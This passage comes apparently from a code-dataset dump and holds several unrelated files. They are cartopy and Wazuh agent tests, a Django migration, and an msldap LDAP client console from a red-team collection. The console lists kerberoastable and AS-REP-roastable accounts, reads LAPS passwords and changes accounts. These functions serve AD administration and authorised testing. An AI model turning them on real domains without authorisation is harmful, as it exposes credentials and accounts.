uk)\n # ax.coastlines()\n assert_array_almost_equal(ax.viewLim.get_points(),\n np.array([[-12.5, 49.], [4., 60.]]))\n\n ax = plt.axes(projection=ccrs.NorthPolarStereo())\n ax.set_extent(uk, crs=uk_crs)\n # enable to see what is going on (and to make sure it is a plot of the uk)\n # ax.coastlines()\n assert_array_almost_equal(ax.viewLim.get_points(),\n np.array([[-1034046.22566261, -4765889.76601514],\n [333263.47741164, -3345219.0594531]])\n )\n\n # given that we know the PolarStereo coordinates of the UK, try using\n # those in a PlateCarree plot\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.set_extent([-1034046, 333263, -4765889, -3345219],\n crs=ccrs.NorthPolarStereo())\n # enable to see what is going on (and to make sure it is a plot of the uk)\n # ax.coastlines()\n assert_array_almost_equal(ax.viewLim.get_points(),\n np.array([[-17.17698577, 48.21879707],\n [5.68924381, 60.54218893]])\n )\n\n\n@cleanup\ndef test_domain_extents():\n # Setting the extent to global or the domain limits.\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.set_extent((-180, 180, -90, 90))\n assert_array_equal(ax.viewLim.get_points(), [[-180, -90], [180, 90]])\n ax.set_extent((-180, 180, -90, 90), ccrs.PlateCarree())\n assert_array_equal(ax.viewLim.get_points(), [[-180, -90], [180, 90]])\n\n ax = plt.axes(projection=ccrs.PlateCarree(90))\n ax.set_extent((-180, 180, -90, 90))\n assert_array_equal(ax.viewLim.get_points(), [[-180, -90], [180, 90]])\n ax.set_extent((-180, 180, -90, 90), ccrs.PlateCarree(90))\n assert_array_equal(ax.viewLim.get_points(), [[-180, -90], [180, 90]])\n\n ax = plt.axes(projection=ccrs.OSGB())\n ax.set_extent((0, 7e5, 0, 13e5), ccrs.OSGB())\n assert_array_equal(ax.viewLim.get_points(), [[0, 0], [7e5, 13e5]])\n\n\ndef test_update_lim():\n # check that the standard data lim setting works\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.update_datalim([(-10, -10), (-5, -5)])\n assert_array_almost_equal(ax.dataLim.get_points(),\n np.array([[-10., -10.], [-5., -5.]]))\n plt.close()\n\n\ndef test_limits_contour():\n xs, ys = np.meshgrid(np.linspace(250, 350, 15), np.linspace(-45, 45, 20))\n data = np.sin((xs * ys) * 1.e7)\n\n resulting_extent = np.array([[250 - 180, -45.], [-10. + 180, 45.]])\n\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.coastlines()\n plt.contourf(xs, ys, data, transform=ccrs.PlateCarree(180))\n assert_array_almost_equal(ax.dataLim, resulting_extent)\n plt.close()\n\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.coastlines()\n plt.contour(xs, ys, data, transform=ccrs.PlateCarree(180))\n assert_array_almost_equal(ax.dataLim, resulting_extent)\n plt.close()\n\n\ndef test_limits_pcolor():\n xs, ys = np.meshgrid(np.linspace(250, 350, 15), np.linspace(-45, 45, 20))\n data = (np.sin((xs * ys) * 1.e7))[:-1, :-1]\n\n resulting_extent = np.array([[250 - 180, -45.], [-10. + 180, 45.]])\n\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.coastlines()\n plt.pcolor(xs, ys, data, transform=ccrs.PlateCarree(180))\n assert_array_almost_equal(ax.dataLim, resulting_extent)\n plt.close()\n\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.coastlines()\n plt.pcolormesh(xs, ys, data, transform=ccrs.PlateCarree(180))\n assert_array_almost_equal(ax.dataLim, resulting_extent)\n plt.close()\n\n\ndef test_view_lim_autoscaling():\n x = np.linspace(0.12910209, 0.42141822)\n y = np.linspace(0.03739792, 0.33029076)\n x, y = np.meshgrid(x, y)\n ax = plt.axes(projection=ccrs.RotatedPole(37.5, 357.5))\n plt.scatter(x, y, x * y, transform=ccrs.PlateCarree())\n\n expected = np.array([[86.12433701, 52.51570463],\n [86.69696603, 52.86372057]])\n\n assert_array_almost_equal(ax.viewLim.frozen().get_points(), expected,\n decimal=2)\n plt.draw()\n assert_array_almost_equal(ax.viewLim.frozen().get_points(), expected,\n decimal=2)\n ax.autoscale_view(tight=False)\n expected_non_tight = np.array([[86, 52.45], [86.8, 52.9]])\n assert_array_almost_equal(ax.viewLim.frozen().get_points(),\n expected_non_tight, decimal=1)\n plt.close()\n\n\ndef test_view_lim_default_global():\n ax = plt.axes(projection=ccrs.PlateCarree())\n # The view lim should be the default unit bbox until it is drawn.\n assert_array_almost_equal(ax.viewLim.frozen().get_points(),\n [[0, 0], [1, 1]])\n with tempfile.TemporaryFile() as tmp:\n plt.savefig(tmp)\n expected = np.array([[-180, -90], [180, 90]])\n assert_array_almost_equal(ax.viewLim.frozen().get_points(),\n expected)\n plt.close()\n\n\nif __name__ == '__main__':\n import nose\n nose.runmodule(argv=['-s', '--with-doctest'], exit=False)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/SciTools_cartopy/cartopy-master/lib/cartopy/tests/mpl/test_set_extent.py","file_name":"test_set_extent.py","file_ext":"py","file_size_in_byte":5753,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"38593597174","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport oai.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('oai', '0008_add_index_on_last_modified'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='ApiKey',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('key', models.CharField(default=oai.models.fresh_api_key, unique=True, max_length=64)),\n ('name', models.CharField(unique=True, max_length=128)),\n ],\n ),\n ]\n","repo_name":"dissemin/proaixy","sub_path":"oai/migrations/0009_apikey.py","file_name":"0009_apikey.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"32412689938","text":"#!/usr/bin/env python3\n#\n# Author:\n# Tamas Jos (@skelsec)\n#\n\nimport asyncio\nimport traceback\nimport logging\nimport csv\nimport shlex\nimport datetime\n\nfrom msldap.external.aiocmd.aiocmd import aiocmd\nfrom msldap.external.asciitree.asciitree import LeftAligned\nfrom tqdm import tqdm\n\nfrom msldap import logger\nfrom asysocks import logger as sockslogger\nfrom msldap.client import MSLDAPClient\nfrom msldap.commons.url import MSLDAPURLDecoder\nfrom msldap.ldap_objects import MSADUser, MSADMachine, MSADUser_TSV_ATTRS\n\nfrom winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR\n\n\nclass MSLDAPClientConsole(aiocmd.PromptToolkitCmd):\n\tdef __init__(self, url = None):\n\t\taiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows...\n\t\tself.conn_url = None\n\t\tif url is not None:\n\t\t\tself.conn_url = MSLDAPURLDecoder(url)\n\t\tself.connection = None\n\t\tself.adinfo = None\n\t\tself.ldapinfo = None\n\t\tself.domain_name = None\n\n\tasync def do_login(self, url = None):\n\t\t\"\"\"Performs connection and login\"\"\"\n\t\ttry:\t\t\t\n\t\t\tif self.conn_url is None and url is None:\n\t\t\t\tprint('Not url was set, cant do logon')\n\t\t\tif url is not None:\n\t\t\t\tself.conn_url = MSLDAPURLDecoder(url)\n\n\t\t\tlogger.debug(self.conn_url.get_credential())\n\t\t\tlogger.debug(self.conn_url.get_target())\n\t\t\t\n\t\t\t\n\t\t\tself.connection = self.conn_url.get_client()\n\t\t\t_, err = await self.connection.connect()\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\t\n\t\t\treturn True\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\t\t\treturn False\n\n\tasync def do_ldapinfo(self, show = True):\n\t\t\"\"\"Prints detailed LDAP connection info (DSA)\"\"\"\n\t\ttry:\n\t\t\tif self.ldapinfo is None:\n\t\t\t\tself.ldapinfo = self.connection.get_server_info()\n\t\t\tif show is True:\n\t\t\t\tprint(self.ldapinfo)\n\t\t\treturn True\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\t\t\treturn False\n\n\tasync def do_adinfo(self, show = True):\n\t\t\"\"\"Prints detailed Active Driectory info\"\"\"\n\t\ttry:\n\t\t\tif self.adinfo is None:\n\t\t\t\tself.adinfo = self.connection._ldapinfo\n\t\t\t\tself.domain_name = self.adinfo.distinguishedName.replace('DC','').replace('=','').replace(',','.')\n\t\t\tif show is True:\n\t\t\t\tprint(self.adinfo)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_spns(self):\n\t\t\"\"\"Fetches kerberoastable user accounts\"\"\"\n\t\ttry:\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\tasync for user, err in self.connection.get_all_service_users():\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\tprint(user.sAMAccountName)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\t\n\tasync def do_asrep(self):\n\t\t\"\"\"Fetches ASREP-roastable user accounts\"\"\"\n\t\ttry:\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\tasync for user, err in self.connection.get_all_knoreq_users():\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\tprint(user.sAMAccountName)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_computeraddr(self):\n\t\t\"\"\"Fetches all computer accounts\"\"\"\n\t\ttry:\n\t\t\tawait self.do_adinfo(False)\n\t\t\t#machine_filename = '%s_computers_%s.txt' % (self.domain_name, datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\"))\n\t\t\n\t\t\tasync for machine, err in self.connection.get_all_machines(attrs=['sAMAccountName', 'dNSHostName']):\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\t\t\n\t\t\t\tdns = machine.dNSHostName\n\t\t\t\tif dns is None:\n\t\t\t\t\tdns = '%s.%s' % (machine.sAMAccountName[:-1], self.domain_name)\n\n\t\t\t\tprint(str(dns))\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_dump(self):\n\t\t\"\"\"Fetches ALL user and machine accounts from the domain with a LOT of attributes\"\"\"\n\t\ttry:\n\t\t\tawait self.do_adinfo(False)\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\t\n\t\t\tusers_filename = 'users_%s.tsv' % datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n\t\t\tpbar = tqdm(desc = 'Writing users to file %s' % users_filename)\n\t\t\twith open(users_filename, 'w', newline='', encoding = 'utf8') as f:\n\t\t\t\tasync for user, err in self.connection.get_all_users():\n\t\t\t\t\tif err is not None:\n\t\t\t\t\t\traise err\n\t\t\t\t\tpbar.update()\n\t\t\t\t\tf.write('\\t'.join(user.get_row(MSADUser_TSV_ATTRS)))\n\t\t\tprint('Users dump was written to %s' % users_filename)\n\t\t\t\n\t\t\tusers_filename = 'computers_%s.tsv' % datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n\t\t\tpbar = tqdm(desc = 'Writing computers to file %s' % users_filename)\n\t\t\twith open(users_filename, 'w', newline='', encoding = 'utf8') as f:\n\t\t\t\tasync for user, err in self.connection.get_all_machines():\n\t\t\t\t\tif err is not None:\n\t\t\t\t\t\traise err\n\t\t\t\t\tpbar.update()\n\t\t\t\t\tf.write('\\t'.join(user.get_row(MSADUser_TSV_ATTRS)))\n\t\t\tprint('Computer dump was written to %s' % users_filename)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\t\t\n\tasync def do_query(self, query, attributes = None):\n\t\t\"\"\"Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)\"\"\"\n\t\ttry:\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\tif attributes is None:\n\t\t\t\tattributes = '*'\n\t\t\tif attributes.find(','):\n\t\t\t\tattributes = attributes.split(',')\n\t\t\tlogging.debug('Query: %s' % (query))\n\t\t\tlogging.debug('Attributes: %s' % (attributes))\n\t\t\tasync for entry, err in self.connection.pagedsearch(query, attributes):\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\tprint(entry)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_tree(self, dn = None, level = 1):\n\t\t\"\"\"Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)\"\"\"\n\t\ttry:\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\tif level is None:\n\t\t\t\tlevel = 1\n\t\t\tlevel = int(level)\n\t\t\tif dn is not None:\n\t\t\t\ttry:\n\t\t\t\t\tint(dn)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tlevel = int(dn)\n\t\t\t\t\tdn = None\n\t\t\t\t\t\n\t\t\tif dn is None:\n\t\t\t\tawait self.do_ldapinfo(False)\n\t\t\t\tdn = self.connection._tree\n\t\t\tlogging.debug('Tree on %s' % dn)\n\t\t\ttree_data = await self.connection.get_tree_plot(dn, level)\n\t\t\ttr = LeftAligned()\n\t\t\tprint(tr(tree_data))\n\n\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_user(self, samaccountname):\n\t\t\"\"\"Feteches a user object based on the sAMAccountName of the user\"\"\"\n\t\ttry:\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\tawait self.do_adinfo(False)\n\t\t\tuser, err = await self.connection.get_user(samaccountname)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tif user is None:\n\t\t\t\tprint('User not found!')\n\t\t\telse:\n\t\t\t\tprint(user)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_acl(self, dn):\n\t\t\"\"\"Feteches security info for a given DN\"\"\"\n\t\ttry:\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\tawait self.do_adinfo(False)\n\t\t\tsec_info, err = await self.connection.get_objectacl_by_dn(dn)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint(str(SECURITY_DESCRIPTOR.from_bytes(sec_info)))\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_gpos(self):\n\t\t\"\"\"Feteches security info for a given DN\"\"\"\n\t\ttry:\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\tawait self.do_adinfo(False)\n\t\t\tasync for gpo, err in self.connection.get_all_gpos():\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\tprint(gpo)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_laps(self):\n\t\t\"\"\"Feteches all laps passwords\"\"\"\n\t\ttry:\n\t\t\tasync for entry, err in self.connection.get_all_laps():\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\tpwd = ''\n\t\t\t\tif 'ms-mcs-AdmPwd' in entry['attributes']:\n\t\t\t\t\tpwd = entry['attributes']['ms-mcs-AdmPwd']\n\t\t\t\tprint('%s : %s' % (entry['attributes']['cn'], pwd))\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_groupmembership(self, dn):\n\t\t\"\"\"Feteches names all groupnames the user is a member of for a given DN\"\"\"\n\t\ttry:\n\t\t\tawait self.do_ldapinfo(False)\n\t\t\tawait self.do_adinfo(False)\n\t\t\tgroup_sids = []\n\t\t\tasync for group_sid, err in self.connection.get_tokengroups(dn):\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\tgroup_sids.append(group_sids)\n\t\t\t\tgroup_dn, err = await self.connection.get_dn_for_objectsid(group_sid)\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\tprint('%s - %s' % (group_dn, group_sid))\n\t\t\t\t\n\t\t\tif len(group_sids) == 0:\n\t\t\t\tprint('No memberships found')\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\ttraceback.print_exc()\n\n\tasync def do_bindtree(self, newtree):\n\t\t\"\"\"Changes the LDAP TREE for future queries. \n\t\t\t\t MUST be DN format eg. 'DC=test,DC=corp'\n\t\t\t\t !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!\"\"\"\n\t\tself.connection._tree = newtree\n\t\n\tasync def do_trusts(self):\n\t\t\"\"\"Feteches gives back domain trusts\"\"\"\n\t\ttry:\n\t\t\tasync for entry, err in self.connection.get_all_trusts():\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\t\t\t\tprint(entry.get_line())\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_adduser(self, username, password):\n\t\t\"\"\"Creates a new domain user with password\"\"\"\n\t\ttry:\n\t\t\t_, err = await self.connection.create_user(username, password)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint('User added')\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\t\n\tasync def do_deluser(self, user_dn):\n\t\t\"\"\"Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)\"\"\"\n\t\ttry:\n\t\t\t_, err = await self.connection.delete_user(user_dn)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint('Goodbye, Caroline.')\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_changeuserpw(self, user_dn, newpass, oldpass = None):\n\t\t\"\"\"Changes user password, if you are admin then old pw doesnt need to be supplied\"\"\"\n\t\ttry:\n\t\t\t_, err = await self.connection.change_password(user_dn, newpass, oldpass)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint('User password changed')\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_unlockuser(self, user_dn):\n\t\t\"\"\"Unlock user by setting lockoutTime to 0\"\"\"\n\t\ttry:\n\t\t\t_, err = await self.connection.unlock_user(user_dn)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint('User unlocked')\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_enableuser(self, user_dn):\n\t\t\"\"\"Unlock user by flipping useraccountcontrol bits\"\"\"\n\t\ttry:\n\t\t\t_, err = await self.connection.enable_user(user_dn)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint('User enabled')\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_disableuser(self, user_dn):\n\t\t\"\"\"Unlock user by flipping useraccountcontrol bits\"\"\"\n\t\ttry:\n\t\t\t_, err = await self.connection.disable_user(user_dn)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint('User disabled')\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_addspn(self, user_dn, spn):\n\t\t\"\"\"Adds an SPN entry to the users account\"\"\"\n\t\ttry:\n\t\t\t_, err = await self.connection.add_user_spn(user_dn, spn)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint('SPN added!')\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_addhostname(self, user_dn, hostname):\n\t\t\"\"\"Adds additional hostname to computer account\"\"\"\n\t\ttry:\n\t\t\t_, err = await self.connection.add_additional_hostname(user_dn, hostname)\n\t\t\tif err is not None:\n\t\t\t\traise err\n\t\t\tprint('Hostname added!')\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\t\t\t\n\tasync def do_test(self):\n\t\t\"\"\"testing, dontuse\"\"\"\n\t\ttry:\n\t\t\tasync for entry, err in self.connection.get_all_objectacl():\n\t\t\t\tif err is not None:\n\t\t\t\t\traise err\n\n\t\t\t\tif entry.objectClass[-1] != 'user':\n\t\t\t\t\tprint(entry.objectClass)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\n\t\"\"\"\n\tasync def do_info(self):\n\t\ttry:\n\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\t\"\"\"\n\n\nasync def amain(args):\n\tclient = MSLDAPClientConsole(args.url)\n\n\tif len(args.commands) == 0:\n\t\tif args.no_interactive is True:\n\t\t\tprint('Not starting interactive!')\n\t\t\treturn\n\t\tawait client.run()\n\telse:\n\t\tfor command in args.commands:\n\t\t\tcmd = shlex.split(command)\n\t\t\tres = await client._run_single_command(cmd[0], cmd[1:])\n\t\t\tif res is False:\n\t\t\t\treturn\n\ndef main():\n\timport argparse\n\tparser = argparse.ArgumentParser(description='MS LDAP library')\n\tparser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')\n\tparser.add_argument('-n', '--no-interactive', action='store_true')\n\tparser.add_argument('url', help='Connection string in URL format.')\n\tparser.add_argument('commands', nargs='*')\n\n\targs = parser.parse_args()\n\t\n\t\n\t###### VERBOSITY\n\tif args.verbose == 0:\n\t\tlogging.basicConfig(level=logging.INFO)\n\telse:\n\t\tsockslogger.setLevel(logging.DEBUG)\n\t\tlogger.setLevel(logging.DEBUG)\n\t\tlogging.basicConfig(level=logging.DEBUG)\n\n\tasyncio.run(amain(args))\n\n\t\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"ryanmrestivo/red-team","sub_path":"Exploitation-Tools/CrackMapExec/site-packages/msldap/examples/msldapclient.py","file_name":"msldapclient.py","file_ext":"py","file_size_in_byte":11889,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"} +{"seq_id":"18380646571","text":"from datetime import datetime, timedelta\nimport os\nimport platform\nimport pytest\nfrom time import sleep\n\nfrom wazuh_testing.tools import WAZUH_PATH, LOG_FILE_PATH\nfrom wazuh_testing.tools.authd_sim import AuthdSimulator\nfrom wazuh_testing.tools.configuration import load_wazuh_configurations\nfrom wazuh_testing.tools.file import truncate_file\nfrom wazuh_testing.tools.monitoring import QueueMonitor, FileMonitor\nfrom wazuh_testing.tools.remoted_sim import RemotedSimulator\nfrom wazuh_testing.tools.services import control_service\nfrom wazuh_testing.agent import CLIENT_KEYS_PATH, SERVER_CERT_PATH, SERVER_KEY_PATH\n\n# Marks\npytestmark = [pytest.mark.linux, pytest.mark.win32, pytest.mark.tier(level=0), pytest.mark.agent]\ntest_data_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data')\nconfigurations_path = os.path.join(test_data_path, 'wazuh_conf.yaml')\n\nparams = [\n # Different parameters on UDP\n {'PROTOCOL': 'udp', 'MAX_RETRIES': 1, 'RETRY_INTERVAL': 1, 'ENROLL': 'no'},\n {'PROTOCOL': 'udp', 'MAX_RETRIES': 5, 'RETRY_INTERVAL': 5, 'ENROLL': 'no'},\n {'PROTOCOL': 'udp', 'MAX_RETRIES': 10, 'RETRY_INTERVAL': 4, 'ENROLL': 'no'},\n {'PROTOCOL': 'udp', 'MAX_RETRIES': 3, 'RETRY_INTERVAL': 12, 'ENROLL': 'no'},\n # Different parameters on TCP\n {'PROTOCOL': 'tcp', 'MAX_RETRIES': 3, 'RETRY_INTERVAL': 3, 'ENROLL': 'no'},\n {'PROTOCOL': 'tcp', 'MAX_RETRIES': 5, 'RETRY_INTERVAL': 5, 'ENROLL': 'no'},\n {'PROTOCOL': 'tcp', 'MAX_RETRIES': 10, 'RETRY_INTERVAL': 10, 'ENROLL': 'no'},\n # Enrollment enabled\n {'PROTOCOL': 'udp', 'MAX_RETRIES': 2, 'RETRY_INTERVAL': 2, 'ENROLL': 'yes'},\n {'PROTOCOL': 'tcp', 'MAX_RETRIES': 5, 'RETRY_INTERVAL': 5, 'ENROLL': 'yes'},\n]\n\ncase_ids = [f\"{x['PROTOCOL']}_max-retry={x['MAX_RETRIES']}_interval={x['RETRY_INTERVAL']}_enroll={x['ENROLL']}\".lower()\n for x in params]\n\nmetadata = params\nconfigurations = load_wazuh_configurations(configurations_path, __name__, params=params, metadata=metadata)\nlog_monitor_paths = []\nreceiver_sockets_params = []\nmonitored_sockets_params = []\nreceiver_sockets, monitored_sockets, log_monitors = None, None, None # Set in the fixtures\nauthd_server = AuthdSimulator('127.0.0.1', key_path=SERVER_KEY_PATH, cert_path=SERVER_CERT_PATH)\nremoted_server = None\n\n\n@pytest.fixture\ndef teardown():\n yield\n\n global remoted_server\n if remoted_server is not None:\n remoted_server.stop()\n\n\ndef set_debug_mode():\n \"\"\"Set debug2 for agentd in local internal options file.\"\"\"\n if platform.system() == 'win32' or platform.system() == 'Windows':\n local_int_conf_path = os.path.join(WAZUH_PATH, 'local_internal_options.conf')\n debug_line = 'windows.debug=2\\n'\n else:\n local_int_conf_path = os.path.join(WAZUH_PATH, 'etc', 'local_internal_options.conf')\n debug_line = 'agent.debug=2\\n'\n with open(local_int_conf_path) as local_file_read:\n lines = local_file_read.readlines()\n for line in lines:\n if line == debug_line:\n return\n with open(local_int_conf_path, 'a') as local_file_write:\n local_file_write.write('\\n' + debug_line)\n\n\nset_debug_mode()\n\n\n# fixtures\n@pytest.fixture(scope=\"module\", params=configurations, ids=case_ids)\ndef get_configuration(request):\n \"\"\"Get configurations from the module.\"\"\"\n return request.param\n\n\n@pytest.fixture(scope=\"module\")\ndef configure_authd_server(request):\n \"\"\"Initialize a simulated authd connection.\"\"\"\n authd_server.start()\n global monitored_sockets\n monitored_sockets = QueueMonitor(authd_server.queue)\n authd_server.clear()\n yield\n authd_server.shutdown()\n\n\n@pytest.fixture(scope=\"function\")\ndef start_authd(request):\n \"\"\"Enable authd to accept connections and perform enrollments.\"\"\"\n authd_server.set_mode(\"ACCEPT\")\n authd_server.clear()\n\n\n@pytest.fixture(scope=\"function\")\ndef stop_authd(request):\n \"\"\"Disable authd to accept connections and perform enrollments.\"\"\"\n authd_server.set_mode(\"REJECT\")\n\n\n@pytest.fixture(scope=\"function\")\ndef clean_keys(request):\n \"\"\"Clear the agent's client.keys file.\"\"\"\n truncate_file(CLIENT_KEYS_PATH)\n sleep(1)\n\n\n@pytest.fixture(scope=\"function\")\ndef delete_keys(request):\n \"\"\"Remove the agent's client.keys file.\"\"\"\n os.remove(CLIENT_KEYS_PATH)\n sleep(1)\n\n\n@pytest.fixture(scope=\"function\")\ndef set_keys(request):\n \"\"\"Write to client.keys file the agent's enrollment details.\"\"\"\n with open(CLIENT_KEYS_PATH, 'w+') as f:\n f.write(\"100 ubuntu-agent any TopSecret\")\n sleep(1)\n\n\n@pytest.fixture(scope=\"function\")\ndef start_agent(request):\n \"\"\"Start Wazuh's agent.\"\"\"\n control_service('start')\n\n\n@pytest.fixture(scope=\"function\")\ndef stop_agent(request):\n \"\"\"Stop Wazuh's agent.\"\"\"\n control_service('stop')\n\n\ndef clean_logs():\n \"\"\"Clear the log file.\"\"\"\n truncate_file(LOG_FILE_PATH)\n\n\ndef wait_notify(line):\n \"\"\"Callback function to wait for agent checkins to the manager.\"\"\"\n if 'Sending keep alive:' in line:\n return line\n return None\n\n\ndef wait_server_rollback(line):\n \"\"\"Callback function to wait until the agent cannot connect to any server.\"\"\"\n if \"Unable to connect to any server\" in line:\n return line\n return None\n\n\ndef wait_connect(line):\n \"\"\"Callback function to wait for the agent to try to connect to a server.\"\"\"\n if 'Trying to connect to server' in line:\n return line\n return None\n\n\ndef count_retry_mesages():\n \"\"\"Count number of attempts to connect to server and enrollments made from log file.\n\n Returns:\n (int , int): Tuple with connection attempts and enrollments.\n \"\"\"\n connect = 0\n enroll = 0\n with open(LOG_FILE_PATH) as log_file:\n log_lines = log_file.read().splitlines()\n for line in log_lines:\n if 'Trying to connect to server' in line:\n connect += 1\n if 'Valid key received' in line:\n enroll += 1\n if \"Unable to connect to any server\" in line:\n return connect, enroll\n return connect, enroll\n\n\ndef wait_enrollment(line):\n \"\"\"Callback function to wait for enrollment.\"\"\"\n if 'Valid key received' in line:\n return line\n return None\n\n\ndef wait_unable_to_connect(line):\n \"\"\"Callback function to wait until the agent cannot connect to a server.\"\"\"\n if 'connect_server(): ERROR: (1216):' in line:\n return line\n return None\n\n\ndef change_timeout(new_value):\n \"\"\"Set agent.recv_timeout for agentd in local internal options file.\n\n The above option sets the maximum number of seconds to wait\n for server response from the TCP client socket.\n\n Args:\n new_value (int): Number of seconds (between 1 and 600).\n \"\"\"\n new_timeout = 'agent.recv_timeout=' + new_value\n if platform.system() == 'win32' or platform.system() == 'Windows':\n local_int_conf_path = os.path.join(WAZUH_PATH, 'local_internal_options.conf')\n else:\n local_int_conf_path = os.path.join(WAZUH_PATH, 'etc', 'local_internal_options.conf')\n with open(local_int_conf_path, 'r') as local_file_read:\n lines = local_file_read.readlines()\n for line in lines:\n if line == new_timeout:\n return\n with open(local_int_conf_path, 'a') as local_file_write:\n local_file_write.write('\\n' + new_timeout)\n\n\nchange_timeout('5')\n\n\ndef parse_time_from_log_line(log_line):\n \"\"\"Create a datetime object from a date in a string.\n\n Args:\n log_line (str): String with date.\n\n Returns:\n datetime: datetime object with the parsed time.\n \"\"\"\n data = log_line.split(\" \")\n (year, month, day) = data[0].split(\"/\")\n (hour, minute, second) = data[1].split(\":\")\n log_time = datetime(year=int(year), month=int(month), day=int(day), hour=int(hour), minute=int(minute),\n second=int(second))\n return log_time\n\n\n# Tests\n\"\"\"\nThis test covers different options of delays between server connection attempts:\n-Different values of max_retries parameter\n-Different values of retry_interval parameter\n-UDP/TCP connection\n-Enrollment between retries\n\"\"\"\n\n\ndef test_agentd_parametrized_reconnections(configure_authd_server, start_authd, stop_agent, set_keys,\n configure_environment, get_configuration, teardown):\n '''\n description: Check how the agent behaves when there are delays between connection\n attempts to the server. For this purpose, different values for\n 'max_retries' and 'retry_interval' parameters are tested.\n\n wazuh_min_version: 4.2.0\n\n tier: 0\n\n parameters:\n - configure_authd_server:\n type: fixture\n brief: Initializes a simulated 'wazuh-authd' connection.\n - start_authd:\n type: fixture\n brief: Enable the 'wazuh-authd' daemon to accept connections and perform enrollments.\n - stop_agent:\n type: fixture\n brief: Stop Wazuh's agent.\n - set_keys:\n type: fixture\n brief: Write to 'client.keys' file the agent's enrollment details.\n - configure_environment:\n type: fixture\n brief: Configure a custom environment for testing.\n - get_configuration:\n type: fixture\n brief: Get 